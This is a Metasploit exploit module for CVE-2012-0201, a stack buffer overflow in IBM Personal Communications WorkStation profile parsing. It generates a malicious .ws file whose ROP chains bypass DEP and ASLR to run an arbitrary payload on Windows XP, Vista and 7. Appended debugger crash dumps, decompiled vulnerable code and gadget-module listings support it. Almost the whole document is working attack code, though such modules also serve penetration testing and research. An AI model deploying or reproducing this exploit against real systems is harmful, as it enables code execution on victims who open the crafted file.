IBM Personal Communications iSeries Access WorkStation 5.9 Profile

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking # ASLR+DEP bypass

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'IBM Personal Communications iSeries Access WorkStation 5.9 Profile',
      'Description'   => %q{
      The IBM Personal Communications I-Series application WorkStation is susceptible to a
      stack-based buffer overflow vulnerability within file parsing in which data copied to a
      location in memory exceeds the size of the reserved destination area. The buffer is located
      on the runtime program stack.

      When the WorkStation file is opened it will reach the code path at 0x67575180 located in
      pcspref.dll which conducts string manipulation and validation on the data supplied in the
      WorkStation file. The application will first check if 'Profile' header exists and appends
      a dot with the next parameter within the file. It will then measure the character length
      of the header by calling strcspn with a dot as its null-terminated character.

      It will then write the header into memory and ensure the header ends with a NUL character.
      The parameter character array is passed to the strcpy() function. The application has
      declared a 52-element character array for the destination for strcpy function. The
      function does not perform bounds checking therefore, data can be written paste the end of
      the buffer variable resulting in corruption of adjacent variables including other local
      variables, program state information and function arguments. You will notice that the
      saved RETURN address at offset 0x6c is overwritten by the data written past the buffer.

      To ensure we can perform arbitrary code execution we must we provide a valid pointer at
      0x74 which is used as an argument for the called function at 0x675751ED as an id file
      extension parameter. Once the caller regains control we will reach our RETURN. The Ret
      instruction will be used to pop the overwritten saved return address which was corrupted.

      This exploit has been written to bypass 2 mitigations DEP and ASLR on a Windows platform.

      Versions tested:
      IBM System i Access for Windows V6R1M0 version 06.01.0001.0000a
      Which bundles pcsws.exe version 5090.27271.709

      Tested on:
      Microsoft Windows XP     [Version 5.1.2600]
      Microsoft Windows Vista  [Version 6.0.6002]
      Microsoft Windows 7      [Version 6.1.7600]
      },
      'License'       => MSF_LICENSE,
      'Author'        => 'TecR0c <roccogiovannicalvi[at]gmail.com>',# Discovery & Metasploit module
      'Payload'       =>
        {
          'Space' => 800,
          'BadChars' => "\x00\x0a\x0d\x3d"
          # NUL '\0'
          # LF  '\n' (new line)
          # CR  '\r' (carriage ret)
          # =
        },
      'Platform'      => 'win',
      'Targets'       =>
        [
          [ 'IBM WorkStation 5.9 (Windows XP SP3)',{} ],
          [ 'IBM WorkStation 5.9 (Windows 7, Windows Vista)',{} ],
        ],
      'References'     =>
        [
          ['CVE', '2012-0201'],
          ['OSVDB', '79657'],
          ['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21586166']
        ],
      'DisclosureDate' => '2012-02-28',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new( 'FILENAME', [ true, 'The file name.',  'msf.ws' ]),
      ])

  end

  def nops(rop=false, n=1)
    return rop ? [0x67A74499] * n : [0x90909090] * n
  end

  def exploit

    if target.name =~ /Windows 7/ # Plus Windows Vista

      virtualprotect =
        [

        # - To get to the VirtualProtect Function

        # Since no Import Address Table (IAT) MS function addresses used to bypass Data Execution
        # Prevention (DEP) are imported within the applications modules which are required as they
        # have the ability to mark a portion of the stack as executable.
        # Also randomization of Windows dll's base addresses due to ASLR from Vista+ are enabled by
        # default. So we cannot directly add the MS function address into our buffer. Therefore, i
        # decided to do a [dereference] on another IAT address (kernel32.terminateprocess) then add
        # the difference between two MS functions in kernel32 to obtain my virtualprotect address so
        # i can still bypass ASLR. The closest i could get to virtualprotect function was 0x10.

        0X641A1EE2,# Removes 0XFFFFFFF0 from stack to EAX for performing calculations
        0XFFFFFFF0,# Address to get added into EAX
        0X641C20C0,# NEG operation to subtracts its operand 0XFFFFFFF0 from zero to set 0x10 in EAX
        0X67202128,# Exchanges the contents of two operands to store our 0x10 into EDX
        0X641A1EE2,# We then want to store our closest IAT address to VirtualProtect() function
        0X63B08084,# This is kernel32.terminateprocess used to get close to VirtualProtect()
        0X6412F404,# We then do a dereference to get the address of kernel32.terminateprocess
        0X6412E9AE,# We add 0x10 to kernel32.terminateprocess to load kernel32.VirtualProtect

        ].pack("V*")

    elsif target.name =~ /XP SP3/

      virtualprotect =
        [

        0X641A1EE2, # We load our VirtualProtect Address into register EAX
        0X7C801AD4, # kernel32.VirtualProtect

        ].pack("V*")
    end

    rop_gadgets_p1 =
      [

      0X67A74498,# Places the next memory address into EDI
      nops(true, 1),
      0X6414C496,# Adds the contents of source operand EAX to the destination operation EBX to set dwSize value

      ].flatten.pack("V*")

    rop_gadgets_p2 =
      [

      0X641EC2D5,# Swaps values to get virtualprotect() into ESI
      0X64164082,# Put 0xFFFFFFC0 into EAX to be subtracted
      0XFFFFFFC0,# Value will be subtracted to calculate NewProtect
      0X641C20C0,# EAX equals NewProtect
      0X67202128,# Swaps values to get NewProtect parameter into EDX
      0X641F2D59,# Put next memory address into ECX
      0X67A85090,# &Writable location
      0X64164082,# Put NOPs into EAX
      nops,
      0X641BFDC2,# PUSHAD all parameters for VirtualProtect

      ].flatten.pack("V*")

    buffer =  rand_text_alpha(104)
    buffer << [0X673188A5].pack("V")# Set EBP to a pointer to CALL ESP
    buffer << [0X64164082].pack("V")# Set EAX to nul
    buffer << [0XFFFFFC18].pack("V")# Put 0xFFFFFC18 into EAX to be subtracted to calculate dwSize
    buffer << [0X641C20C0].pack("V")# NEG operation to subtracts its operand 0xFFFFFC18 from zero to set 0x3E8 in EAX
    buffer << rop_gadgets_p1
    buffer << virtualprotect
    buffer << rop_gadgets_p2
    buffer << payload.encoded

    para_value = rand_text_alpha(3)
    eol = "\r\n"

    # We only need the header, malicious parameter with value and file extension to trigger the bug

    file =  "[Profile]" << eol
    file << "#{buffer}=#{para_value}" << eol
    file << "ID=WS"

    print_status("Creating '#{datastore['FILENAME']}' file for #{target.name}...")
    file_create(file)
  end
end

=begin
(540.25c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=003d1e49 ebx=77c5f7a0 ecx=00000000 edx=6758bdb0 esi=6758bdb1 edi=41414141
eip=77c483b7 esp=00125360 ebp=0012536c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll -
MSVCRT!wcsxfrm+0x125:
77c483b7 8a27            mov     ah,byte ptr [edi]          ds:0023:41414141=??

ModLoad: 76980000 76988000   C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 67310000 67324000   C:\Program Files\IBM\Client Access\Emulator\PCSWDLG.DLL
(5dc.65c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000751 edx=00009240 esi=004018a0 edi=0012faa0
eip=42424242 esp=001254e8 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
42424242 ??              ???

signed int __cdecl sub_67575180(const char *HeaderPlusParameter, char *FileExtension, int a3, int a4, int a5)
{
  size_t SizeOfHeader;
  char ParameterName;
  char Dest[52];

  SizeOfHeader = strcspn(HeaderPlusParameter, ".");
  strncpy(Dest, HeaderPlusParameter, SizeOfHeader);
  Dest[SizeOfHeader] = 0;
  strcpy(&ParameterName, &HeaderPlusParameter[SizeOfHeader + 1]);
  return sub_67573D80(FileExtension, Dest, &ParameterName, a3, a5, a4);
}

0:000> da @esp
0012549c  "AAAAAAAA. .dAAAAAAAAAAAAAAAAAAAA"
001254bc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
001254dc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
001254fc  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012551c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012553c  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012555c  "AA"

ROP gadgets from images
Image name: cwbcore.dll
    Timestamp:        Wed Dec 12 04:15:43 2007 (475EC5BF)
    CheckSum:         0011CD4C
    ImageSize:        00118000
    File version:     12.0.0.0
    CompanyName:      IBM Corporation
    ProductName:      IBM(R) System i(TM) Access for Windows
Image name: PCSXFER.DLL
    Timestamp:        Wed Dec 12 04:15:48 2007 (475EC5C4)
    CheckSum:         0007130E
    ImageSize:        0006B000
    File version:     5090.1.7103.892
    CompanyName:      IBM Corporation
    ProductName:      Personal Communications
Image name: nstrc.dll
    CheckSum:         0000F9D6
    ImageSize:        00009000
    File version:     5090.0.6171.1308
    CompanyName:      IBM Corporation
    ProductName:      Personal Communications
    FileDescription:  Independent Trace Facility
Image name: PCSCTSS.DLL
    Timestamp:        Wed Dec 12 04:15:47 2007 (475EC5C3)
    CheckSum:         0001D6EB
    ImageSize:        0007D000
    File version:     5090.1.7103.892
    CompanyName:      IBM Corporation
    ProductName:      Personal Communications
Image name: PCSWDLG.DLL
    Timestamp:        Wed Dec 12 04:15:48 2007 (475EC5C4)
    CheckSum:         0001FCBC
    ImageSize:        00014000
    File version:     5090.1.7103.892
    CompanyName:      IBM Corporation
    ProductName:      Personal Communications
=end